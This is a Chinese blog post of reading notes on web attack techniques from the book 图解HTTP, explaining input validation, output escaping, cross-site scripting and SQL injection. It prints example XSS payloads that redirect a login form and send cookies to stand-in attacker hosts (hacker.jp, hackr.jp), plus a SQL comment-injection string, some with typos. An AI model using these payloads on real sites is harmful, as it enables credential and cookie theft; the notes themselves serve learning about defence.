图解http读书笔记六——web的攻击技术

因输出值转义不完全引发的安全漏洞

  • 客户端的验证
    javascript会在客户端验证数据,但是客户端允许篡改数据或者关闭javascript,不适合将javascript验证作为安全的防范对策。保留客户端验证知识为了尽早辨识输入错误,提高ui体验的作用
  • web服务端的验证
  • 输入值验证
    通常检查是否符合系统业务逻辑数值或者字符编码
  • 输出值转义
    从数据库或者文件系统,html,邮件等输出web应用处理的数据之际,针对输出做转义处理是一项关键的策略,当输出值转义不完全,会因为触发攻击者传入的攻击代码,而给输出对象带来伤害

    跨脚本攻击

  • 动态生成html处发生
    图解http读书笔记六——web的攻击技术_第1张图片
    删除线并不会造成太大的不利,但是如果使用

http://example.jp/login?id=">
<script>var+f=docunment.getelmentbyid("login");
+f.action="http://hacker.jp/pwget";
+f.method="get";script><span+s="

当用户在表单内输入用户和密码之后,就会发送到攻击者的网站,导致个人信息被窃取
源码对比
图解http读书笔记六——web的攻击技术_第2张图片

对用户cookie的窃取

<script src=http://hackr.jp/xss.js>script>

该脚本指定的http://hackr.jp/xss.js文件。即下面这段采用javascript编写的代码

vat content=escapse(document.cookie);
document.write(");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的web应用上执行上面这段程序,即可访问到该web应用所处域名下的cookie信息。然后这些信息会发送至攻击者的web网站(http://hackr.jp/),攻击者就窃取到用户的cookie信息了
图解http读书笔记六——web的攻击技术_第3张图片

sql注入攻击
正常操作
图解http读书笔记六——web的攻击技术_第4张图片
url的查询字段已指定q=上野宣,这个值由web应用传入到sql语句,构成

select * from booktb1 where author='上野宣' and flag=1;

sql注入攻击的操作
图解http读书笔记六——web的攻击技术_第5张图片

生成sql语句

select * from booktb1 where author='上野宣'--' and flag=1;

‘–’后为注释,即后面的内容忽略了,
结果就会显示处不该显示的内容
此处如果是修改及非法浏览,用户会遭受不同程度损失

os命令注入攻击
指通过web应用,执行非法的操作系统命令达到攻击的目的
例子不赘述了。。。
http首部注入攻击
待。。
邮件首部注入
。。
目录遍历注入
。。。未完待续

你可能感兴趣的:(网络技术,网络技术,读书笔记,安全)